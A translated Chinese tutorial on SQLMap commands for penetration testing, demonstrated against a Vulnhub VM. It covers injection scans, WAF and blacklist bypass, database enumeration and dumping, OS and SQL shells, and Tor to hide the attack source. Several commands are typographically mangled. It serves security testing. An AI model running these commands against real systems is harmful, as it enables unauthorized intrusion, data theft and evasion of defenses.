前言
SQLMap是每個(gè)滲透測(cè)試師的必備工具。這是眾多強(qiáng)大的主流工具之一,尤其是在測(cè)試OWASP Top 10中的SQL注入漏洞時(shí)。從掃描SQL注入漏洞到獲取數(shù)據(jù)庫(kù)名字、表和列,以及獲得系統(tǒng)訪問(wèn)權(quán)限,其可被用于多種目的。
在本文中,我們將看到不同的SQLMap命令,在對(duì)不同場(chǎng)景下的SQL注入進(jìn)行利用時(shí)可能會(huì)比較得心應(yīng)手。
可以從如下鏈接下載SQLMap:
Windows
Linux:git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
出于演示目的,我用的是Vulnhub上的這個(gè)虛擬機(jī)。
讓我們一起來(lái)看看SQLMap這款工具在GET和POST請(qǐng)求上的基本用法。
GET請(qǐng)求
-
sqlmap -u http://site-to-test.com/test.php?id=1-p id
-
sqlmap -u http://site-to-test.com/test.php?id=1*
-
-u:要掃描的URL
-
-p:要掃描的字段
-
*:要掃描的字段(如果不用-p來(lái)指定的話)
-
POST請(qǐng)求
我們可以在SQLMap掃描中指定POST請(qǐng)求體中的數(shù)據(jù)。
-
sqlmap -u http://site-to-test.com/admin/index.php–data=”user=admin&password=admin”-p user
-
–data=POST數(shù)據(jù)
另外一種方式是復(fù)制Burp請(qǐng)求到一個(gè)文件里,然后同樣傳給SQLMap。
-
sqlmap –r 請(qǐng)求文件的路徑
讓我們?cè)偕钊氲亓私庖幌耂QLMap的其他選項(xiàng)。
掃描POST登錄頁(yè)面
POST請(qǐng)求的登錄頁(yè)面是通過(guò)cookie頭來(lái)進(jìn)行身份認(rèn)證的,也就是GET或者POST請(qǐng)求時(shí),包含在HTTP頭里的。我們必須給SQLMap提供有效的cookie才能對(duì)登錄頁(yè)面的POST請(qǐng)求進(jìn)行掃描。
-
sqlmap -u http://192.168.202.163/admin/index.php?id=1–cookie=”cookie value“
/admin/index.php?id=1 是一個(gè)登錄頁(yè)面的POST請(qǐng)求。
-
sqlmap -u http://192.168.202.163/admin/index.php?id=1–user-agent=infosec
-
sqlmap -u http://192.168.202.163/admin/index.php?id=1–referer= http://192.168.202.163/admin/index.php
除此以外,我們還可以通過(guò)–random-agent選項(xiàng)來(lái)隨機(jī)指定user-agent頭。
爬取
爬?。╟rawl)是一個(gè)非常重要的選項(xiàng),可以讓SQLMap從網(wǎng)站根目錄開(kāi)始爬取,爬取深度可以在命令中指定。
sqlmap -u http://192.168.202.160/–crawl=1
–crawl: 指定爬取深度。(例如:指定值為2表示讓SQLMap最多爬取兩層目錄)
如果想排除爬取范圍內(nèi)的任意頁(yè)面,我們可以通過(guò)使用–crawl-exclude參數(shù)。當(dāng)爬取POST型的登錄頁(yè)面時(shí),該選項(xiàng)十分有用。
-
sqlmap -u http://192.168.202.163/ –crawl=3 –cookie=”cookie value” –crawl-exclude=”logout”
該命令可以最多爬取三層目錄,并排除任何存在“l(fā)ogout”(注銷(xiāo))關(guān)鍵字的URL。
如下圖所示,SQLMap爬取了網(wǎng)站,但是排除了注銷(xiāo)的URL。
去掉–crawl-exclude選項(xiàng),再運(yùn)行一次同樣的命令:
如下圖所示,去掉–crawl-exclude選項(xiàng)后,SQLMap爬取了注銷(xiāo)URL。該URL由于注銷(xiāo)會(huì)導(dǎo)致退出當(dāng)前會(huì)話(session),失效的會(huì)話會(huì)導(dǎo)致無(wú)法完成掃描。
通過(guò)代理使用SQLMap
我們可以指定一個(gè)代理來(lái)記錄傳遞的請(qǐng)求。如果想通過(guò)Burp這樣的代理工具來(lái)傳遞請(qǐng)求,打開(kāi)Burp Suite并配置其監(jiān)聽(tīng)本機(jī)的8080端口。接著使用如下SQLMap命令:
-
sqlmap -u http://192.168.202.162/cat.php?id=1 -p id–proxy=”http://localhost:8080″
現(xiàn)在想象一下這樣的場(chǎng)景:當(dāng)SQL注入關(guān)鍵字,比如OrderBy和Union,被服務(wù)器端加到黑名單了。對(duì)于這種場(chǎng)景,我們可以通過(guò)駝峰拼寫(xiě)法來(lái)繞過(guò)這類(lèi)限制。用SQLMap將流量轉(zhuǎn)發(fā)到Burp,然后用Burp的“匹配和替換(match and replace)”功能來(lái)繞過(guò)以上限制。
匹配和替換功能可以在Burp的“Proxy”標(biāo)簽下的“Options”標(biāo)簽下找到。
這樣就可以檢查請(qǐng)求中是否存在“union”這樣的關(guān)鍵字。如果存在,那么將其替換為“UnIoN”。
在某些網(wǎng)站只能通過(guò)代理服務(wù)器訪問(wèn)的場(chǎng)景下,同樣可以用下面的命令來(lái)指定:
-
sqlmap -u http://192.168.202.162/cat.php?id=1 -p id –proxy=”http://localhost:8080″–proxy-cred=username:password
批(量)處理
批處理(batch)命令適用于非交互的會(huì)話。在掃描的時(shí)候,SQLMap可能會(huì)讓我們提供一些輸入:比如,在用爬取功能的時(shí)候,會(huì)問(wèn)用戶是否想掃描指定的URL。當(dāng)在命令中指定–batch選項(xiàng)時(shí),SQLMap會(huì)用一個(gè)默認(rèn)值來(lái)處理,而不再問(wèn)用戶。
表單
存在表單字段的頁(yè)面URL(比如登錄頁(yè)面)可以通過(guò)–form選項(xiàng)來(lái)解析該頁(yè)面,并引導(dǎo)用戶去測(cè)試指定字段。
現(xiàn)在,可以通過(guò)–form和–batch選項(xiàng)一起來(lái)高效地測(cè)試存在大量表單字段的頁(yè)面了。因?yàn)檫@樣可以解析該頁(yè)面,并代替用戶自動(dòng)提供輸入來(lái)測(cè)試這些表單字段。
如果想要掃描整個(gè)網(wǎng)站,可以同時(shí)用crawl和form選項(xiàng)。
線程
線程(threads)選項(xiàng)可以讓用戶指定SQLMap發(fā)送的并發(fā)請(qǐng)求數(shù)量,這樣可以減少整體的測(cè)試時(shí)間。不過(guò)別總是保持一個(gè)較高的值,因?yàn)榭赡軙?huì)影響結(jié)果的準(zhǔn)確性。
危險(xiǎn)和級(jí)別(Risk andlevel)
危險(xiǎn)(risk)可以指定SQLMap使用的payload類(lèi)型。默認(rèn)情況下值為1,最高可以設(shè)置為3。值為3時(shí),就是最大值,包含了一些嚴(yán)重的SQL查詢。
級(jí)別(level)指定要執(zhí)行的檢查或payload的數(shù)量。值的范圍時(shí)從1到5。最大值為5,掃描時(shí)會(huì)用到大量的payload。
當(dāng)SQLMap使用默認(rèn)設(shè)置無(wú)法掃描注入點(diǎn)時(shí),建議增加risk和level的值。(譯者注:此舉存在風(fēng)險(xiǎn)【risk】)
詳細(xì)信息
假如我們想看看SQLMap發(fā)送的payload,可以用詳細(xì)信息(verbose)參數(shù),其值范圍是從1到6。
數(shù)據(jù)庫(kù)枚舉
眾所周知,SQLMap主要用于對(duì)SQL注入的利用,一起來(lái)看看這些通過(guò)SQL注入漏洞來(lái)枚舉數(shù)據(jù)庫(kù)的命令。
1. –dbs: 該選項(xiàng)用于枚舉數(shù)據(jù)庫(kù)。
2. 現(xiàn)在得到了數(shù)據(jù)庫(kù)名。要獲得“photoblog”數(shù)據(jù)庫(kù)的表,可以執(zhí)行如下命令:
3. 要獲得“users”表中的字段細(xì)節(jié),可以執(zhí)行如下命令:
4. 要轉(zhuǎn)儲(chǔ)(dump)“users”這張表中的數(shù)據(jù),可以用–dump命令:
5. 查看當(dāng)前數(shù)據(jù)庫(kù)用戶:
6. 查看當(dāng)前數(shù)據(jù)庫(kù)名:
7. 查看權(quán)限(privileges)、角色(roles),并查看當(dāng)前數(shù)據(jù)庫(kù)用戶是否是數(shù)據(jù)庫(kù)管理員:
用tamper腳本繞過(guò)WAF
很多時(shí)候,我們會(huì)遇到網(wǎng)站被WAF(Web Application Firewall)保護(hù)的場(chǎng)景,我們可以用下面的命令來(lái)檢查目標(biāo)網(wǎng)站是否被WAF保護(hù):
-
–identify-waf (譯者注:新版本中已移除)
識(shí)別出WAF后,我們就可以用tamper腳本來(lái)進(jìn)行繞過(guò)。tamper腳本可以修改請(qǐng)求來(lái)繞過(guò)WAF檢測(cè)。這些腳本可以在/usr/share/sqlmap/tmper/ 目錄下找到。
執(zhí)行系統(tǒng)命令
如果當(dāng)前數(shù)據(jù)庫(kù)用戶擁有DBA權(quán)限,我們就可以使用如下選項(xiàng)來(lái)執(zhí)行操作系統(tǒng)級(jí)別的命令:
-
對(duì)于Linux目標(biāo)服務(wù)器:
-
sqlmap -u http://192.168.202.162/cat.php?id=1–os-shell
-
對(duì)于Windows目標(biāo)服務(wù)器:
-
sqlmap -u http://192.168.202.162/cat.php?id=1–os-cmd cmd命令
執(zhí)行SQL查詢
我們還可以用下面的命令在數(shù)據(jù)庫(kù)中執(zhí)行SQL語(yǔ)句:
-
sqlmap -u 192.168.202.164/cat.php?id=2–sql-shell
其他選項(xiàng)
一些其他選項(xiàng)如下:
1. 掃描一些被類(lèi)似Basic、NTLM和Digest這樣的HTTP身份認(rèn)證保護(hù)的頁(yè)面:
-
sqlmap -u http://example.com/admin.aspx –auth-type Basic –auth-cred “admin:admin”
2. 掃描被基于密鑰認(rèn)證保護(hù)的頁(yè)面:
-
sqlmap -u http://example.com/admin.aspx–auth-file=PEM證書(shū)或私鑰文件路徑
3. 隨機(jī)化發(fā)起攻擊的IP地址(在比如WAF檢測(cè),或者為了增加被溯源的難度,隱藏攻擊來(lái)源等場(chǎng)景下很有用)。
使用默認(rèn)的Tor(洋蔥路由)匿名網(wǎng)絡(luò):
-
sqlmap -u http://example.com/admin.aspx–tor
指定Tor的端口:
-
sqlmap -u http://example.com/admin.aspx–tor-port=tor代理端口
4. 如果需要在每次HTTP請(qǐng)求之間延時(shí):
-
sqlmap -u http://example.com/admin.aspx–delay=1#延時(shí)1秒
5. 如果頁(yè)面被CSRF token保護(hù),同樣可以用下面的命令:
-
sqlmap -u http://example.com/admin.aspx–csrf-token=csrf token
6. 在二階注入中,SQL注入的payload會(huì)被存儲(chǔ)在目標(biāo)網(wǎng)站的數(shù)據(jù)庫(kù)中,之后在訪問(wèn)其他頁(yè)面的時(shí)候被執(zhí)行。我們指定一個(gè)SQLMap用來(lái)請(qǐng)求的已被注入的URL。然后讓SQLMap用如下命令來(lái)注入:
-
sqlmap -r /root/Desktop/Burp.txt–second-order“http://target/vulnerbalepage.php”
Burp.txt是包含將要用于測(cè)試的文件,其中包含注入點(diǎn)。
-
–second-order “URL” 指定的是每次注入后SQLMap去訪問(wèn)的URL。
總結(jié)
在檢測(cè)和利用SQL注入漏洞方面,SQLMap是一個(gè)不錯(cuò)的工具。其支持如此多的選項(xiàng),開(kāi)關(guān)以及可以創(chuàng)建并使用自定義腳本,讓它從眾多檢測(cè)SQL注入漏洞的開(kāi)源工具中脫穎而出。
審核編輯:湯梓紅-
Linux
+關(guān)注
關(guān)注
87文章
11211瀏覽量
208721 -
SQL
+關(guān)注
關(guān)注
1文章
753瀏覽量
44032 -
命令
+關(guān)注
關(guān)注
5文章
678瀏覽量
21965
原文標(biāo)題:一些重要的SQLMap命令
文章出處:【微信號(hào):菜鳥(niǎo)學(xué)安全,微信公眾號(hào):菜鳥(niǎo)學(xué)安全】歡迎添加關(guān)注!文章轉(zhuǎn)載請(qǐng)注明出處。
發(fā)布評(píng)論請(qǐng)先 登錄
相關(guān)推薦
評(píng)論